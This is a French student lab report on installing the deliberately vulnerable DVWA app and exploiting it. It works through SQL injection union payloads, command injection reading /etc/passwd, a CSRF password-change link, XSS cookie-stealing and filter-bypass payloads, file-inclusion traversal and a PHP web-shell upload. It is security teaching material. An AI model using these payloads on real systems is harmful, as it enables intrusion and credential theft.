Vous êtes sur la page 1sur 83

École Centrale des Logiciels Libres et de Télécommunications

Institut Supérieur de Technologie de l'Université de Bangui


(IST/UB)

Les Failles de Sécurité DVWA

Présentés par : sous la supervision :


Berenger BENAM
Ahamadi Nasry Prof. Samuel OUYA
1 DVWA .............................................................................................................................................. 1
1.1 Qu'est-ce que la DVWA ? ........................................................................................................ 1
1.2 Les Failles de Sécurité .............................................................................................................. 1
1.2.1 Les injections SQL : .......................................................................................................... 1
1.2.2 Les failles de cross-site scripting (XSS) : .......................................................................... 1
1.2.3 Les failles de cross-site request forgery (CSRF) : ............................................................. 1
1.2.4 Les failles de gestion des sessions : ................................................................................. 1
1.2.5 Les failles de sécurité des fichiers téléchargés : .............................................................. 1
1.2.6 Les failles de sécurité des formulaires :........................................................................... 2
1.2.7 Les erreurs de configuration : ......................................................................................... 2
1.3 Objectif : .................................................................................................................................. 2
1.4 Installation DVWA ................................................................................................................... 2
1.4.1 Sous linux (Ubuntu 18) .................................................................................................... 2
1.4.2 Installation de dvwa sous Windows .............................................................................. 11
1.5 Quelques cas d’attaque en utilisant la plateforme DVWA.................................................... 19
1.5.1 L’injection SQL avec DVWA (SQLi) ? .............................................................................. 19
1.5.1.1 Scénario toujours vrai................................................................................................ 22
1.5.1.2 Afficher la version de la base de données ................................................................. 23
1.5.1.3 Afficher toutes les tables dans information_schema ................................................ 24
1.5.1.4 Afficher tous les champs de colonnes dans la table utilisateur information schéma24
1.5.1.5 Afficher le contenu du champ Colonne ..................................................................... 25
1.5.1.6 Low SQL Injection Source .......................................................................................... 26
1.5.1.7 Injection SQL avec le niveau medium (moyen) ......................................................... 27
1.5.1.8 Injection SQL avec le niveau high (élevé) .................................................................. 28
1.5.2 Command Injection ....................................................................................................... 29
1.5.2.1 Afficher le contenu du fichier /etc/passwd ............................................................... 29
1.5.3 CSRF ............................................................................................................................... 32
1.5.3.1 Qu'est-ce que la falsification de requêtes intersites (CSRF) ? ................................... 32
1.5.3.2 Comment fonctionne CSRF ? ..................................................................................... 32
1.5.4 XSS ................................................................................................................................. 36
1.5.4.1 Il existe trois principaux types d'attaques XSS : ........................................................ 36
1.5.4.2 Mise en œuvre........................................................................................................... 37
1.5.5 Comment Exploiter Le XSS Réfléchi Dans DVWA ? ....................................................... 39
1.5.5.1 Faible Sécurité ........................................................................................................... 40
1.5.6 xss reflected :................................................................................................................. 43
1.5.7 CSP ................................................................................................................................. 48
1.5.8 Comprendre l'attaque par inclusion de fichiers à l'aide de l'application Web DVWA. . 50
1.5.8.1 Qu'est-ce qu'une attaque par inclusion de fichiers ? ................................................ 50
1.5.8.2 Inclusion de fichiers locaux en action........................................................................ 50
1.5.9 DVWA Vulnerability: File Upload ................................................................................... 58
1.5.10 Brute Force .................................................................................................................... 62
1.6 Conclusion : ........................................................................................................................... 80
1 DVWA

1.1 Qu'est-ce que la DVWA ?


La Damn Vulnerable Web Application (DVWA) est une application Web vulnérable conçue
pour les pirates en herbe et expérimentés afin de mettre en pratique leurs compétences et leurs
techniques. C'est également un excellent outil pour enseigner les pratiques de développement
sécurisé.

1.2 Les Failles de Sécurité


Les failles de sécurité des applications web sont des vulnérabilités qui peuvent être exploitées
par des attaquants pour compromettre la sécurité et l'intégrité des applications web. Voici
quelques-unes des failles de sécurité les plus courantes que l'on retrouve dans les applications
web :

1.2.1 Les injections SQL :


Il s'agit d'une faille qui permet à un attaquant d'insérer du code SQL malveillant dans une
requête SQL, ce qui peut entraîner la divulgation d'informations sensibles ou la modification
de la base de données.

1.2.2 Les failles de cross-site scripting (XSS) :


Cette faille permet à un attaquant d'injecter du code JavaScript malveillant dans une page web,
ce qui peut entraîner l'exécution de ce code côté client et la compromission des données ou des
sessions utilisateur.

1.2.3 Les failles de cross-site request forgery (CSRF) :


Dans ce cas, un attaquant peut forcer un utilisateur authentifié à effectuer une action indésirable
sur un site web sans son consentement, en exploitant une confiance implicite entre le site web
et l'utilisateur.

1.2.4 Les failles de gestion des sessions :


Si la gestion des sessions n'est pas sécurisée, un attaquant peut voler ou manipuler les
identifiants de session pour se faire passer pour un utilisateur authentifié.

1.2.5 Les failles de sécurité des fichiers téléchargés :


Si un site web permet aux utilisateurs de télécharger des fichiers, il est important de mettre en
place des contrôles de sécurité pour éviter que des fichiers malveillants soient téléchargés et
exécutés sur le serveur ou sur le poste de l'utilisateur.

1
1.2.6 Les failles de sécurité des formulaires :
Les formulaires présents sur les sites web peuvent être vulnérables à des attaques d'injection,
de contournement ou de manipulation de données si les contrôles de validation et de sécurité
ne sont pas correctement mis en place.

1.2.7 Les erreurs de configuration :


Des erreurs de configuration au niveau du serveur web, de la base de données ou d'autres
composants de l'infrastructure peuvent créer des failles de sécurité importantes si des
paramètres par défaut non sécurisés sont utilisés.

1.3 Objectif :
Dans ce TP, nous allons vous montrer comment installer DVWA dans Ubuntu afin que vous
puissiez commencer à pratiquer vos compétences de piratage.

1.4 Installation DVWA


1.4.1 Sous linux (Ubuntu 18)
Nous allons d'abord mettre à jour le serveur. Ensuite, nous installerons les packages requis :
# apt update && sudo apt upgrade

#apt -y install apache2 mysql-server php php-mysqli php-gd libapache2-mod-php

2
Voici la version de notre php

La version 7.2
Ou bien

Mettez à jour et mettez à niveau les packages avant de commencer pour vous assurer que tout
est sur la dernière version.

Préparer la base de données


Nous devons maintenant effectuer la configuration initiale de la base de données.
# sudo mysql_secure_installation
Répondez oui aux invites et assurez-vous de définir un mot de passe root.

3
4
Nous pouvons maintenant créer une base de données et un utilisateur.
On se connecte à la base de donnée
# mysql -u root -p

On crée la base de donnée dvwa


CREATE DATABASE dvwa;

On crée utilisateur benam


CREATE USER 'benam'@'localhost' IDENTIFIED BY 'Passer123/';

On applique les privilèges


GRANT ALL PRIVILEGES ON dvwa.* TO 'benam'@'localhost' IDENTIFIED BY 'Passer123/';

5
FLUSH PRIVILEGES;

Installer l'application
Après avoir créé la base de données, nous pouvons télécharger le code source DVWA. C'est
aussi simple que de changer dans le répertoire cible et de cloner le code de Github.
On se déplace dans le dossier /var/www/html
# cd /var/www/html

On installe git si ce n’est pas encore installé


# apt install git

On télécharge l’application via le lien git


# git clone https://github.com/digininja/DVWA.git

6
# sudo chown -R www-data:www-data /var/www/html/*

On se déplace dans le dossier DVWA

Ensuite, nous devrons configurer l'application. C'est aussi simple que de copier l'exemple de
fichier de configuration et de modifier les paramètres de connexion à la base de données.
# cp config/config.inc.php.dist config/config.inc.php

Maintenant, ouvrez simplement le fichier de configuration dans votre éditeur de texte préféré
et mettez à jour les paramètres de connexion à la base de données avec le nom d'utilisateur et
le mot de passe que vous avez créés précédemment.
On édite le fichier config/config.inc.php pour renseigner les paramètres de connexions a la
base de donnée.
#nano config/config.inc.php

7
Après la configuration, l'application doit être accessible dans un navigateur Web. Votre adresse
IP peut varier en fonction de la manière dont vous accédez à votre machine virtuelle ou à votre
serveur.
http://192.168.1.5/DVWA/

Login par défaut c’est :


admin et mot de passe c’est password

8
Pour résoudre le problème
PHP function display_errors: Disabled

On édite le fichier /etc/php/7.2/apache2/php.ini Et changez


allow_url_include=Off pour allow_url_include=On

On redémarre apache2

Ensuite Aller a :
config\config.inc.php

Changer les deux lignes


$_DVWA[ 'recaptcha_public_key' ] = '';

9
$_DVWA[ 'recaptcha_private_key' ] = '';
a
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

Ensuite on actualise la page de DVWA


Ensuite

Pour générer les tables guestbook et users on clique sur


Create Reset Database

10
1.4.2 Installation de dvwa sous Windows
Tout d’abord, Télécharger l’application, puis placer le dossier DVWA dans votre serveur web
WAMP ou XAMPP
Lien pour télécharger l’application DVWA : https://drive.google.com/file/d/1YrTxKU-
VBrt1pTC3S5q-U60HlFreyQad/view

11
12
13
14
# mysql -u root –p
MariaDB [(none)]> create user dvwa identified by 'passer';

MariaDB [(none)]> grant all privileges on *.* to dvwa;


MariaDB [(none)]> flush privileges;

MariaDB [(none)]> create database dvwa;

15
MariaDB [(none)]> show databases;

16
17
18
1.5 Quelques cas d’attaque en utilisant la plateforme DVWA
1.5.1 L’injection SQL avec DVWA (SQLi) ?

L'injection SQL est l'une des attaques les plus courantes utilisées par les pirates pour exploiter
toute application Web basée sur une base de données SQL. C'est une technique où le
code/instructions SQL sont insérés dans le champ d'exécution dans le but soit de modifier le
contenu de la base de données, de décharger le contenu utile de la base de données au pirate, de
causer des problèmes de répudiation, d'usurper l'identité, et bien plus encore.
Prenons un scénario simple où nous avons une application Web avec un formulaire de
connexion avec des champs de nom d'utilisateur et de mot de passe. Si le développeur utilisait
PHP pour le développement, le code ressemblerait à ceci :

Après avoir installé DVWA avec succès, ouvrez votre navigateur et entrez l'URL
requise. 127.0.0.1/dvwa/login.php Connectez-vous en utilisant le nom d'utilisateur « admin »
et le mot de passe comme « mot de passe ». Ce sont les identifiants de connexion DVWA par
défaut. Après une connexion réussie, définissez la sécurité DVWA sur LOW puis cliquez sur
SQL Injection dans le menu de gauche.
On se connecte à la base de donnée et utiliser la requêtes sql select
#select *from users;

19
On teste l’ID 1

20
21
1.5.1.1 Scénario toujours vrai
Une méthode avancée pour extraire tous les noms First_nameset prénoms de la base de
données consisterait à utiliser l'entrée : %' or '1'='1'
Voici la syntaxe à faire :
%' or '0' = '0

Le % signe de pourcentage n'est égal à rien et sera faux. La '1'='1' requête est enregistrée
comme True car 1 sera toujours égal à 1. Si vous l'exécutiez sur une base de données, la requête
ressemblerait à ceci :
On peut faire aussi dans la base de donnée cette requête SQL.
SELECT first_name, last_name FROM users WHERE user_id = '%' or '1'='1';

22
1.5.1.2 Afficher la version de la base de données
Pour connaître la version de la base de données sur laquelle l'application DVWA s'exécute,
saisissez le texte ci-dessous dans le champ ID utilisateur.
%' or 0=0 union select null, version() #

23
1.5.1.3 Afficher toutes les tables dans information_schema
Le schéma d'informations stocke des informations sur les tables, les colonnes et toutes les autres
bases de données gérées par MySQL. Pour afficher tous les tableaux présents dans
l’information schéma, utilisez le texte ci-dessous.
%' and 1=0 union select null, table_name from information_schema.tables #

1.5.1.4 Afficher tous les champs de colonnes dans la table utilisateur information schéma
Nous imprimerons toutes les colonnes présentes dans la table des utilisateurs. Ces informations
incluront des informations de colonne telles qu’User_ID, first_name, last_name, user et
password. Entrez l'entrée dans le champ User_ID.

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from


information_schema.columns where table_name = 'users' #

24
1.5.1.5 Afficher le contenu du champ Colonne
Pour afficher toutes les informations d'authentification nécessaires présentes dans les colonnes
telles qu'elles sont stockées dans information schéma, utilisez la syntaxe SQL ci-dessous :
%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from
users #

Niveau bas (Low) : Ce niveau est destiné aux débutants. Les attaques SQL sont simples et les
vulnérabilités sont évidentes. Il est conçu pour vous familiariser avec les concepts de base de
l'injection SQL.

25
1.5.1.6 Low SQL Injection Source

La code source montre que la requête sql n’est pas préparée.

Niveau moyen (Medium) : Ce niveau est un peu plus complexe que le niveau bas. Les
vulnérabilités sont plus subtiles et nécessitent une compréhension plus approfondie des
techniques d'injection SQL. Vous devrez utiliser des techniques comme les commentaires SQL
pour contourner les filtres.

26
1.5.1.7 Injection SQL avec le niveau medium (moyen)

Voici le niveau medium

27
Niveau élevé (High) : Ce niveau est conçu pour mettre à l'épreuve vos compétences en matière
d'injection SQL. Les vulnérabilités sont plus difficiles à exploiter et peuvent nécessiter des
techniques avancées, comme l'injection aveugle (blind SQL injection).
1.5.1.8 Injection SQL avec le niveau high (élevé)

Solution pour injection sql

28
Niveau impossible (Impossible) : Comme son nom l'indique, ce niveau est considéré comme
impossible à exploiter. Il est destiné à montrer qu'il est presque impossible de se protéger
complètement contre l'injection SQL si des mesures de sécurité appropriées ne sont pas prises.
Il est important de noter que DVWA est une application vulnérable utilisée à des fins
d'apprentissage et de test. Il est essentiel de l'utiliser dans un environnement contrôlé et de ne
pas tenter d'exploiter des vulnérabilités similaires dans des applications réelles sans autorisation
appropriée.

1.5.2 Command Injection


Command Injection est une vulnérabilité de sécurité courante qui permet à un attaquant d'injecter des
commandes système malveillantes dans une application web. DVWA (Damn Vulnerable Web
Application) est une application web volontairement vulnérable utilisée à des fins éducatives pour
apprendre les techniques de piratage éthique et les bonnes pratiques en matière de sécurité.
Voici comment exploiter une vulnérabilité de type Command Injection dans DVWA :
Mettez en place DVWA : Assurez-vous que vous avez installé DVWA sur votre environnement de test.
DVWA peut être téléchargé à partir du référentiel GitHub officiel.
Accédez à DVWA : Lancez DVWA dans votre navigateur et accédez à l'application.
Identifiez la vulnérabilité : Recherchez l'endroit où vous pouvez saisir des entrées susceptibles d'être
interprétées comme des commandes système. Souvent, cela peut être trouvé dans les zones de recherche,
les formulaires de commentaires, etc.
Testez la vulnérabilité : Pour déterminer si l'application est vulnérable aux injections de commandes,
essayez d'insérer une entrée simple comme ;ls ou && ls après votre entrée normale. Par exemple, si
l'application attend un nom d'utilisateur, saisissez un nom d'utilisateur valide suivi de ;ls. Si la commande
renvoie une liste des fichiers dans le répertoire, alors la vulnérabilité est probablement présente.
Exploitez la vulnérabilité : Une fois que vous avez confirmé que la vulnérabilité est présente, vous
pouvez utiliser cette injection pour exécuter des commandes malveillantes. Par exemple, vous pourriez
essayer ;cat /etc/passwd pour afficher le contenu du fichier de mots de passe du système.
Prévention : Pour empêcher les injections de commandes, l'application doit mettre en œuvre une
validation stricte des entrées utilisateur. Cela peut être fait en utilisant des listes blanches ou des
fonctions d'échappement appropriées pour traiter les entrées utilisateur.
Il est important de noter que la pratique du piratage éthique ou du test de pénétration doit toujours être
effectuée dans un environnement de test contrôlé, avec l'autorisation explicite du propriétaire du système
cible. Jouer avec des vulnérabilités sur des applications réelles sans permission est illégal et immoral.
Assurez-vous de suivre les lois et les réglementations locales et de respecter les règles éthiques lors de
l'utilisation de DVWA ou tout autre outil de formation en sécurité.

1.5.2.1 Afficher le contenu du fichier /etc/passwd


192.168.1.3 | cat /etc/passwd

29
Voici le code source

30
Afficher le répertoire
192.168.1.3|pwd

31
1.5.3 CSRF

1.5.3.1 Qu'est-ce que la falsification de requêtes intersites (CSRF) ?


La falsification de requête intersites (CSRF) est une vulnérabilité de sécurité Web qui permet
à un attaquant de capitaliser sur la session authentifiée d'un utilisateur de site Web pour
effectuer des actions malveillantes par l'intermédiaire de l'utilisateur que l'utilisateur n'avait pas
l'intention d'exécuter. Pour ce faire, l'attaquant incite l'utilisateur à accéder à une URL ou à un
script caché qui soumettra une demande malveillante au site Web. Ces demandes indésirables
peuvent modifier les mots de passe de l'utilisateur, partager des informations confidentielles
avec l'attaquant et même transférer des fonds d'un utilisateur à l'attaquant sans l'intention de
l'utilisateur.

Serveur DVWA
2

Administrateur 1 Attaquant

1- L’attaquant envoie le mail à l’administrateur


2- L’admin clique sur le lien directement son mot de passe va changer
3- L’attaquant peut utiliser son mot de passe pour se connecter en tant qu’admin
1.5.3.2 Comment fonctionne CSRF ?
Les attaques CSRF reposent sur le fait que l'authentification de la session se fait via des cookies
HTML . Étant donné qu'un site Web valide les demandes des utilisateurs via ces cookies, toute
action privilégiée peut être effectuée dans une session autorisée. Ainsi, tant qu'un utilisateur est
authentifié et que l'attaquant peut l'inciter à effectuer des requêtes indésirables sans connaître
aucun paramètre de requête, des attaques CSRF peuvent être lancées.

32
Prenons un exemple pour mieux comprendre l'attaque. Supposons qu'un utilisateur visite un site
Web commercial qui vend des chaussures en ligne. Ce que l'utilisateur ne sait pas, c'est que ce
site Web est vulnérable. L'utilisateur clique ensuite sur un lien qui, selon lui, mènera à un
ensemble tendance de talons, cependant, la <a> balise à laquelle l'utilisateur accède ressemble
en réalité à ceci :
L’homme du milieu qui va envoyer un lien a l’administrateur
Voici l’url de l’attaquant pour tromper l’administrateur
http://192.168.1.9/DVWA/vulnerabilities/csrf/?password_new=passer&password_conf=passer&Cha
nge=Change#

La capture en bas montre que l’administrateur a reçu le mail venant de l’attaquant

33
S’il clique sur le lien

Automatiquement son mot de passe va changer et l’homme du milieu peut utiliser son fameux
mot de passe pour se connecter en tant qu’administrateur.
L’attaquant va essayer de se connecter
http://192.168.1.9/DVWA/login.php

34
Il entrer le login : admin et son mot de passe qui est passer

Il se connecte directement au compte administrateur.

Coté Administrateur : il se déconnecte et ressayer de se connecter à son compte

35
Il entre son mot de passe qui est admin

Le mot de passe ne marche pas parce qu’il vient de faire une grave erreur en cliquant sur le
lien et du coup son mot de passe à changer et l’homme du milieu prend le contrôle de sa
machine.

1.5.4 XSS
XSS, abréviation de Cross-Site Scripting (ou injection de script inter-sites en français), est une
vulnérabilité de sécurité qui affecte souvent les applications web. Elle se produit lorsque qu'un
attaquant injecte des scripts ou du code malveillant dans un site web, qui est ensuite exécuté
par le navigateur web d'un utilisateur. L'attaquant exploite la confiance qu'un site web a envers
le navigateur de l'utilisateur pour exécuter des actions non autorisées ou voler des informations
sensibles.
1.5.4.1 Il existe trois principaux types d'attaques XSS :
Stored XSS : Dans ce type d'attaque, le code malveillant est stocké de manière permanente sur le serveur
du site ciblé. Lorsqu'un utilisateur visite une page contenant le code injecté, celui-ci est envoyé à son
navigateur et exécuté, ce qui peut entraîner des actions non autorisées ou des vols de données.

36
Serveur DVWA

1.5.4.2 Mise en œuvre


Le code :
<script>alert("éxecute code sur un site")</script>

37
Reflected XSS : Dans une attaque XSS réfléchie, le code injecté est intégré dans une URL ou
un champ de saisie, généralement sous la forme d'un lien forgé. Lorsque la victime clique sur
le lien ou soumet un formulaire contenant le code malveillant, celui-ci est envoyé au serveur et
renvoyé au navigateur de l'utilisateur, où il est exécuté.

38
1.5.5 Comment Exploiter Le XSS Réfléchi Dans DVWA ?
Étapes De Piratage :
Voici les étapes générales qui doivent être suivies à chaque fois lors du test de XSS reflété sur
n'importe quel site Web :
1. Tout d'abord, saisissez une chaîne unique dans le champ du formulaire et soumettez-la.
2. Ouvrez-le par un clic droit ou en appuyant sur CTRL + U et recherchez la chaîne unique
dans la source de la page. Page source
3. Utilisez CTRL+F pour trouver la chaîne unique que vous avez entrée à la première
étape. Si la chaîne unique se reflète dans l'écran du navigateur ou dans la source de la
page, le site peut être vulnérable au XSS réfléchi.
4. Enfin, entrez la charge utile de base de XSS viz <script>alert()</script> et soumettez-
la pour obtenir une réponse supplémentaire dans le navigateur. Si le site est vulnérable,
vous recevrez une boîte d'alerte.
Il est maintenant temps de démontrer notre attaque contre notre application Web vulnérable qui
s'exécute sur notre hôte local.
Connectez-vous à votre application Web DVWA avec les informations d'identification, le nom
d'utilisateur admin et le mot de passe, ou utilisez vos propres informations d'identification si
vous les avez créées.

39
1.5.5.1 Faible Sécurité
Nous allons commencer à partir d'un niveau très basique, alors réglez le niveau de sécurité
sur low cliquez sur submit le bouton.
Sélectionnez Reflected XSS challenge sur le bouton de gauche.
<script type="text/javascript">
msg = "<p style='text-decoration:blink;color :#F00 ;'> Vous êtes victime d’une attaque XSS !
</p>" ;
document.write(msg) ;
</script>

DOM-based XSS : Ce type d'attaque XSS se produit lorsque la vulnérabilité se trouve dans le
modèle d'objet de document (DOM) d'une page web. L'attaquant manipule le DOM pour
injecter et exécuter du code malveillant directement dans le script côté client de la page.

40
Les attaques XSS peuvent avoir des conséquences graves, notamment le vol d'informations
sensibles des utilisateurs (telles que des identifiants de connexion ou des données personnelles),
le détournement de session, la défiguration de sites web et la diffusion de logiciels malveillants.

Mise en œuvre :

On clique sur English et dans l’url en haut on va modifier le code

41
On change English et coller ce scripte a la place <Script> alert(0)</Script>

On peut exécuter des scripts via l’Url

<Script> alert("attaque xss DOM")</Script>

42
1.5.6 xss reflected :
Dans les attaques XSS réfléchies, le script injecté est renvoyé par le serveur web, ce qui signifie
que le script malveillant fait partie de l'URL elle-même ou est inclus dans les données envoyées
via des formulaires ou des paramètres de requête. Lorsque l'utilisateur clique sur un lien
spécialement conçu ou soumet un formulaire manipulé, le script s'exécute dans le navigateur
de l'utilisateur dans le contexte du site web.
Exemple de vulnérabilité XSS réfléchie basée sur une URL : Supposons qu'un site web
vulnérable dispose d'une fonction de recherche, et que l'URL de recherche ressemble à ceci :
Exercice essayons d’afficher le message en utilisant la balise html dans xss reflected
<h1>cyber security</h1>

43
Voici le message cyber security qui affiche
Cas2 : Nous allons créer un script qui va générer une fenêtre pop-up et après on verra comment
pirater.

<script>alert('Berenger')</script>

44
Donc cela signifie que nous avons lancé avec succès la première attaque de
script.
Cas3 : comment un attaquant peut accéder a une cookie d’un utilisateur
connecté.
<script>alert(document.cookie)</script>

45
Voici l’identifiant de l’utilisateur qui est connecté et chaque fois un utilisateur se connecté on génère un
nouvel identifiant et l’attaquant peut utiliser cet identifiant pour connecter à son nom.
On peut changer le niveau Low et utiliser le niveau medium pour voir le comportement.

On fera la même chose.

46
<scr<script>ipt>alert('Berenger')</script>

47
Et voici le code source

1.5.7 CSP
Qu'est-ce que le CSP ?
CSP signifie Politique de sécurité du contenu. Il s'agit d'un ensemble de règles, envoyées au
serveur depuis le navigateur, qui spécifient comment le navigateur peut charger du contenu tel
qu'une page Web, des images ou des bibliothèques JavaScript. Examinons par exemple la règle
suivante :
On crée le fichier app.js dans /var/www/html/DVWA

Il faut renseigner l’url dans la zone CSP BYPASS http://192.168.1.3/DVWA/app.js

48
49
1.5.8 Comprendre l'attaque par inclusion de fichiers à l'aide de l'application
Web DVWA.

1.5.8.1 Qu'est-ce qu'une attaque par inclusion de fichiers ?


Il s'agit d'une attaque qui permet à un attaquant d'inclure un fichier sur le serveur web via un
script php. Cette vulnérabilité survient lorsqu'une application Web permet au client de
soumettre des entrées dans des fichiers ou de télécharger des fichiers sur le serveur. Une
vulnérabilité d'inclusion de fichier est distincte d'une attaque de traversée de répertoire
générique, dans la mesure où la traversée de répertoire est un moyen d'obtenir un accès non
autorisé au système de fichiers, et une vulnérabilité d'inclusion de fichier subvertit la façon dont
une application charge le code pour l'exécution. L'exploitation réussie d'une vulnérabilité
d'inclusion de fichier entraînera l'exécution de code à distance sur le serveur Web qui exécute
l'application Web affectée.
Cela peut conduire aux attaques suivantes :
1-Exécution de code sur le serveur Web
2-Attaques de script intersite (XSS)
3-Déni de service (DOS)
4-Attaques de manipulation de données
Deux types:
a) Inclusion de fichiers locaux
b) Inclusion de fichiers à distance

Les vulnérabilités LFI permettent à un attaquant de lire (et parfois d'exécuter) des fichiers sur
la machine victime. Cela peut être très dangereux car si le serveur Web est mal configuré et
fonctionne avec des privilèges élevés, l'attaquant peut accéder à des informations sensibles. Si
l'attaquant est capable de placer du code sur le serveur Web par d'autres moyens, il peut être en
mesure d'exécuter des commandes arbitraires.
Les vulnérabilités RFI sont plus faciles à exploiter mais moins courantes. Au lieu d'accéder à
un fichier sur la machine locale, l'attaquant est capable d'exécuter du code hébergé sur sa propre
machine.
L'inclusion de fichiers distants (RFI) et l'inclusion de fichiers locaux (LFI) sont des vulnérabilités que
l'on trouve souvent dans les applications Web mal écrites. Ces vulnérabilités se produisent lorsqu'une
application Web permet à l'utilisateur de soumettre des entrées dans des fichiers ou de télécharger des
fichiers sur le serveur. Afin de démontrer ces attaques, nous utiliserons la Damn Vulnerable Web
Application (DVWA).

1.5.8.2 Inclusion de fichiers locaux en action


Puisque vous avez une idée de ce qu'est LFI, voyons-le en action. Nous effectuerons des attaques LFI à
travers différents niveaux de difficulté proposés par DVWA.

50
Commençons avec une faible difficulté.
Difficulté : FAIBLE
Maintenant, démarrez votre machine et connectez-vous à DVWA, puis accédez à l'onglet de sécurité
DVWA et réglez le niveau de difficulté sur faible.

Accédez à l'onglet d'inclusion de fichiers et modifiez l'URL


de incude.php en ?page=../../../../../../etc/passwd

On remplace incluse.php par ../../../../../../etc/passwd

Changer l'URL de ?page=../../../../../../etc/passwd à ?page=../../../../../../proc/version

51
On voit la version de Ubuntu que le serveur utilise

Difficulté : MOYENNE
Maintenant, continuez et essayez les exploits que nous avons utilisés en faible difficulté. Vous
remarquerez que vous ne pouvez pas lire les fichiers comme avant en utilisant la méthode de
traversée de répertoire. Ainsi, comme vous pouvez le voir dans l'instantané ci-dessous de la
page source, le serveur est plus sécurisé et filtre le modèle '../' ou '..\'. Essayons d'accéder au
fichier sans '../' ou '..\'.
On change le niveau

Remplacez include.php par /etc/passwd

52
Maintenant, changez l'URL de ?page=/etc/passwd à ?page=/proc/version .

Comme vous pouvez le voir, cela a fonctionné en entrant directement le nom du fichier. Passons
au niveau de difficulté ÉLEVÉ.
Difficulté : ÉLEVÉE

53
Changez la difficulté en HIGH et essayez tous les exploits de difficulté moyenne, et vous remarquerez
qu'aucun d'entre eux ne fonctionnera car la cible est plus sécurisée, car elle n'accepte que "include.php"
ou les entrées commençant par le mot "fichier". Si vous essayez autre chose, il affichera "Fichier
introuvable".

Dans ce niveau de sécurité, nous pouvons toujours collecter des informations sensibles à l'aide
du schéma d'URI "Fichier". (Parce qu'il commence par le mot "fichier")
Changez l'URL de include.php en ?page=file:///etc/passwd

54
Vous obtiendrez les données du fichier /etc/passwd .
C'est ainsi que vous pouvez exploiter la vulnérabilité d'inclusion de fichiers en utilisant des fichiers
locaux sur le serveur Web.

Inclusion de fichiers à distance en action


Essayons maintenant d'exploiter cette vulnérabilité en utilisant des fichiers distants hébergés sur la
machine de l'attaquant.

Difficulté : FAIBLE
Maintenant, commençons par la difficulté faible.
Réglez la difficulté sur faible et accédez à l'onglet d'inclusion de fichiers.
Remplaçons include.php par http://www.google.com pour que l'URL finale ressemble à ceci :

?page=http://www.google.com

55
Difficulté : MOYENNE
Changez la difficulté en moyenne et vérifiez comme nous l'avons fait dans la faible
difficulté. Vous remarquerez que cela ne fonctionne plus. La cible filtre maintenant "http" et
"https" comme indiqué dans la page source.

alors essayez l'attaque avec "HTTP" (en MAJUSCULES) ou n'importe quel mot en majuscules comme
je l'ai utilisé comme indiqué dans l'instantané (httP) et ça marchera.
?page=httP://imdb.com

56
On remplace include.php par httP://imdb.com

57
1.5.9 DVWA Vulnerability: File Upload
DVWA signifie Damn Vulnerable Web Application (Application Web Damn Vulnerable), c'est
une application web délibérément vulnérable utilisée à des fins éducatives et de tests pour
apprendre la sécurité des applications web. L'une des vulnérabilités présentes dans DVWA est
la vulnérabilité de Téléchargement de Fichier (File Upload).
La vulnérabilité de Téléchargement de Fichier se produit lorsqu'une application web permet
aux utilisateurs de télécharger des fichiers sans effectuer de vérifications de sécurité
appropriées, ce qui peut entraîner des exploitations potentielles. Les attaquants peuvent
télécharger des fichiers malveillants, tels que des scripts ou des exécutables, sur le serveur, ce
qui peut être ensuite exécuté, causant des dommages à l'application ou au serveur lui-même.
Voici comment cette vulnérabilité peut être exploitée :
Contournement des vérifications de type de fichier : L'application peut avoir des vérifications
insuffisantes pour les types de fichiers autorisés lors du processus de téléchargement. Les
attaquants peuvent renommer le fichier malveillant avec une extension autorisée (par exemple,
.jpg, .png) et le télécharger, contournant ainsi la validation.
Contenu de fichier malveillant : Même si l'application vérifie le type de fichier, les attaquants
peuvent incorporer un code ou des scripts malveillants dans un fichier en apparence inoffensif
(par exemple, une image). Lorsque le fichier est exécuté par le serveur ou consulté par d'autres
utilisateurs, le code malveillant est déclenché.
Traversée de chemin (Path Traversal) : Un attaquant peut utiliser un nom de fichier manipulé
contenant "../" pour accéder à des fichiers sensibles sur le serveur en traversant les répertoires.
Déni de service (DoS) : Les attaquants peuvent télécharger de gros fichiers pour submerger les
ressources du serveur, provoquant ainsi un déni de service pour les utilisateurs légitimes.
Écrasement de fichier : Si l'application ne fournit pas de noms de fichiers uniques pour les
fichiers téléchargés, un attaquant pourrait écraser des fichiers existants sur le serveur.
Pour atténuer la vulnérabilité de Téléchargement de Fichier, les développeurs web doivent
mettre en œuvre les mesures de sécurité suivantes :
Validation du type de fichier : Vérifiez le type de fichier en fonction de son contenu (en-tête de
fichier/magic bytes) plutôt que de se fier uniquement à l'extension de fichier. Autorisez
uniquement les types de fichiers approuvés et rejetez les autres.
Limite de taille de fichier : Définissez une limite de taille maximale pour les téléchargements
afin de prévenir les attaques par déni de service.
Renommage de fichier : Générez un nom de fichier unique pour chaque fichier téléchargé afin
d'éviter d'écraser des fichiers existants.
Stockage sécurisé : Stockez les fichiers téléchargés dans un emplacement inaccessible
directement aux utilisateurs et n'exécutez pas les scripts téléchargés.
Validation côté serveur : Effectuez une validation côté serveur pour vous assurer que le fichier
téléchargé respecte les critères de sécurité.

58
On change le niveau

On choisit File Upload


FAIBLE:
Pour déclencher la vulnérabilité de File Upload, nous devrons créer une charge utile. Maintenant, il y a
deux façons d'abord d'utiliser l'automatisation de la charge utile à l'aide de metasploit et d'autre part
d'utiliser l'exploitation manuelle et de prendre un script shell inversé en ligne.
Donc, je crée un code linéaire qui est très basique et c'est:
On crée le fichier top.php dans le répertoire personnel

59
Et maintenant, je l'ai téléchargé sur le site Web :

On clique sur Parcourir

On choisit le fichier top.php

60
On clique sur Upload

../../hackable/uploads/top.php

61
On remplace # par ../../hackable/uploads/top.php?cmd=pwd

On voit le dossier complet du site DVWA

1.5.10 Brute Force


Une attaque par force brute (bruteforce attack) consiste à tester, l’une après l’autre, chaque
combinaison possible d’un mot de passe ou d’une clé pour un identifiant donné afin se
connecter au service ciblé.
Il s’agit d’une méthode ancienne et répandue chez les pirates. Le temps nécessaire à celle-ci
dépend du nombre de possibilités, de la vitesse que met l’attaquant pour tester chaque
combinaison et des défenses qui lui sont opposées.
Ce type d’attaque étant relativement simple, un organisme peut disposer de systèmes permettant
de se protéger de ce type de comportement. La première ligne du système de défense est le
blocage de comptes après un nombre limité d’échecs d’authentification pour un même
identifiant.
